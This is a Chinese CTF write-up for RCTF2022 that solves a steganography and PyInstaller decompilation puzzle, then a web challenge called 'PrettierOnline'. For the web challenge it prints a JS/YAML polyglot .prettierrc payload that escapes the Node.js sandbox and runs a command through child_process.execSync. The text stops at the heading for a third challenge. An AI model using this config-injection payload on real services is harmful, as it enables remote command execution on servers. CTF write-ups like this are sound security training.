RCTF2022-Writeup

部分为比赛中的解题过程,部分为赛后复现题解QAQ

RCTF2022-Writeup

​ ---------------TWe1v3

misc

ez_alient

使用zsteg扫描alien.tmp获得一串base64编码

01

解码得到:pwd="N0bOdy_l0ves_Me"

解压alien_invasion.zip,获得alien_invasion文件,使用file指令识别得知是PE32+ executable (console) x86-64, for MS Windows,使用PyInstaller Extractor对文件进行反编译,注意这里的系统python版本一定得是3.8的,不然反编译不完全。

image-20221221212245026

image-20221221213006594

使用010editor打开alien_invasion.pyc,能够看到有这提示

image-20221221212640499

从alien_invasion.pyc得到一串base64编码VTJreE0yNWpNdz09,解码为:Si13nc3

image-20221221212807233

打开PYZ-00.pyz_extracted文件夹,根据alien_invasion.pyc中的指示pyc文件中获得相关base64编码,统计为:

字符串 解码 pyc文件
s = b’VTJreE0yNWpNdz09’ Si13nc3 alien_invasion.pyc
a = b’TVRVPQ==’ 15 alien.pyc
l = b’Tm5WMA==’ 6ut settings.pyc
m = b’YURBeFpHbHVPUT09 VDI0PQ== VTJreE0yNVVNWGs9’ h01din9_On_Si13nT1y ship.pyc
a = b’YmtWMlJYST0=’ nEvEr bullet.pyc
t = b’ZFhBPQ==’ up game_stats.pyc
k = b’T1dsMmFXNDU=’ 9ivin9 button.pyc
m = b’SmlZPQ==’ && scoreboard.pyc

简单拼接可得flag:

RCTF{Si13nc3_15_nEvEr_9ivin9_up_&&_6ut_h01din9_On_Si13nT1y}

Web

PrettierOnline

查看.prettierrc的配置文件说明Configuration File · Prettier

A file written in JSON or YAML..prettierrc

.prettierrc支持JSON和YAML两种配置文件,即需要我构建配置文件能够被解析成JS文件和YAML文件。

经测试image-20221221223518864

1
2
3
4
5
6
7
var T=` `;console.log('TWe1v3')/*
trailingComma: es5
tabWidth: 4
semi: false
singleQuote: true
parser: .prettierrc
# */

是能够在控制台中打印出字符,接下来就是bypass sandbox

查阅 https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/获得最后的payload

1
2
3
4
5
6
7
var T=`: #`;module.exports = ()=>{return global.process.mainModule.constructor._load("child_process").execSync("/readflag").toString()};/*
trailingComma: es5
tabWidth: 4
semi: false
singleQuote: true
parser: .prettierrc
# */

RCTF{pReTtiErRc.yAmL.iS.fUnnY}

easy_upload